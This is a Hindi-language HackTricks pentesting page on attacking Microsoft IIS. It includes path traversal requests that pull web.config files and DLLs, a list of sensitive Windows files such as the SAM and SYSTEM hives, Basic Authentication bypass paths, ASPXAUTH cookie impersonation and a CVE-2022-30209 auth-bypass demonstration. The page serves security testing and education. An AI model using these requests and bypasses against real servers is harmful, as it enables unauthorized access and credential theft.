IIS - Internet Information Services

Reading time: 11 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन:

  • asp
  • aspx
  • config
  • php

आंतरिक IP पता लीक

किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है:

nc -v domain.com 80
openssl s_client -connect domain.com:443

आंतरिक IP का खुलासा करने वाली प्रतिक्रिया:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

आप .config फ़ाइलें अपलोड कर सकते हैं और उनका उपयोग कोड निष्पादित करने के लिए कर सकते हैं। इसे करने का एक तरीका फ़ाइल के अंत में HTML टिप्पणी के अंदर कोड जोड़ना है: Download example here

इस भेद्यता का शोषण करने के लिए अधिक जानकारी और तकनीकें यहां हैं।

IIS Discovery Bruteforce

मैंने जो सूची बनाई है उसे डाउनलोड करें:

यह निम्नलिखित सूचियों की सामग्री को मिलाकर बनाई गई थी:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

इसे बिना किसी एक्सटेंशन के उपयोग करें, जिन फ़ाइलों को इसकी आवश्यकता है, उनमें पहले से ही है।

Path Traversal

Leaking source code

पूर्ण लेखन की जांच करें: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

note

संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "assemblyIdentity" फ़ाइलों और "namespaces" के संदर्भ हैं। इस जानकारी से यह जानना संभव है कि executables कहां स्थित हैं और उन्हें डाउनलोड करें।
डाउनलोड की गई Dlls से यह भी संभव है कि नए namespaces खोजें जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।
इसके अलावा, फ़ाइलें connectionstrings.config और global.asax दिलचस्प जानकारी रख सकती हैं।

.Net MVC applications में, web.config फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है "assemblyIdentity" XML टैग के माध्यम से।

Exploring Binary Files

web.config फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:

  • EntityFramework संस्करण
  • AppSettings वेबपृष्ठों, क्लाइंट सत्यापन और JavaScript के लिए
  • System.web प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
  • System.webServer मॉड्यूल सेटिंग्स
  • Runtime असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे Microsoft.Owin, Newtonsoft.Json, और System.Web.Mvc

ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे /bin/WebGrease.dll, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।

रूट निर्देशिका फ़ाइलें

रूट निर्देशिका में पाई जाने वाली फ़ाइलें, जैसे /global.asax और /connectionstrings.config (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।

Namespaces और Web.Config

MVC अनुप्रयोग भी विशिष्ट namespaces के लिए अतिरिक्त web.config फ़ाइलें परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य web.config डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs डाउनलोड करना

कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "WebApplication1" नामक DLL की ओर इशारा करता है। इसके बाद, WebApplication1.dll डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे System.Web.Mvc.dll और System.Web.Optimization.dll, /bin निर्देशिका में।

एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे WebApplication1.Areas.Minded कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे /area-name/Views/, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के लिए संदर्भ शामिल हैं। उदाहरण के लिए, /Minded/Views/web.config के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, WebApplication1.AdditionalFeatures.dll की उपस्थिति को इंगित करता है।

सामान्य फ़ाइलें

यहाँ से

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

यदि आप निम्नलिखित त्रुटि देखते हैं:

इसका मतलब है कि सर्वर ने Host header के अंदर सही डोमेन नाम नहीं प्राप्त किया
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त SSL Certificate को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए VHosts का brute force करना पड़ सकता है।

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

आप इस technique का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर folders और files को enumerate करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।
इस तकनीक की मुख्य सीमा यदि सर्वर कमजोर है तो यह है कि यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है।

आप इस कमजोरी के लिए परीक्षण करने के लिए https://github.com/irsdl/IIS-ShortName-Scanner का उपयोग कर सकते हैं:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

मूल शोध: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

आप metasploit का भी उपयोग कर सकते हैं: use scanner/http/iis_shortname_scanner

खोजे गए फ़ाइलों के अंतिम नाम को खोजने के लिए एक अच्छा विचार है कि आप LLMs से विकल्प पूछें जैसे कि इसे स्क्रिप्ट https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py में किया गया है।

Basic Authentication bypass

Bypass एक बेसिक ऑथेंटिकेशन (IIS 7.5) को एक्सेस करने की कोशिश करते हुए: /admin:$i30:$INDEX_ALLOCATION/admin.php या /admin::$INDEX_ALLOCATION/admin.php

आप नए folders खोजने और ऑथेंटिकेशन को bypass करने के लिए इस vulnerability और पिछले एक को mix करने की कोशिश कर सकते हैं।

ASP.NET Trace.AXD enabled debugging

ASP.NET में एक डिबगिंग मोड शामिल है और इसका फ़ाइल नाम trace.axd है।

यह एक निश्चित समय अवधि के भीतर एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है।

इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड शामिल हैं।

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH निम्नलिखित जानकारी का उपयोग करता है:

  • validationKey (string): सिग्नेचर वैलिडेशन के लिए उपयोग करने के लिए hex-encoded कुंजी।
  • decryptionMethod (string): (डिफ़ॉल्ट “AES”)।
  • decryptionIV (string): hex-encoded initialization vector (डिफ़ॉल्ट रूप से शून्य का एक वेक्टर)।
  • decryptionKey (string): डिक्रिप्शन के लिए उपयोग करने के लिए hex-encoded कुंजी।

हालांकि, कुछ लोग इन पैरामीटर के डिफ़ॉल्ट मानों का उपयोग करेंगे और कुकी के रूप में उपयोगकर्ता का ईमेल का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं जिसे आप हमले के तहत सर्वर पर impersonate करना चाहते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का impersonate कर सकते हैं।
यह हमला इस writeup में काम किया।

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: कोड में एक बग उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता, इसलिए एक हमलावर जिसका पासवर्ड हैश एक कुंजी पर हिट करता है जो पहले से ही cache में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें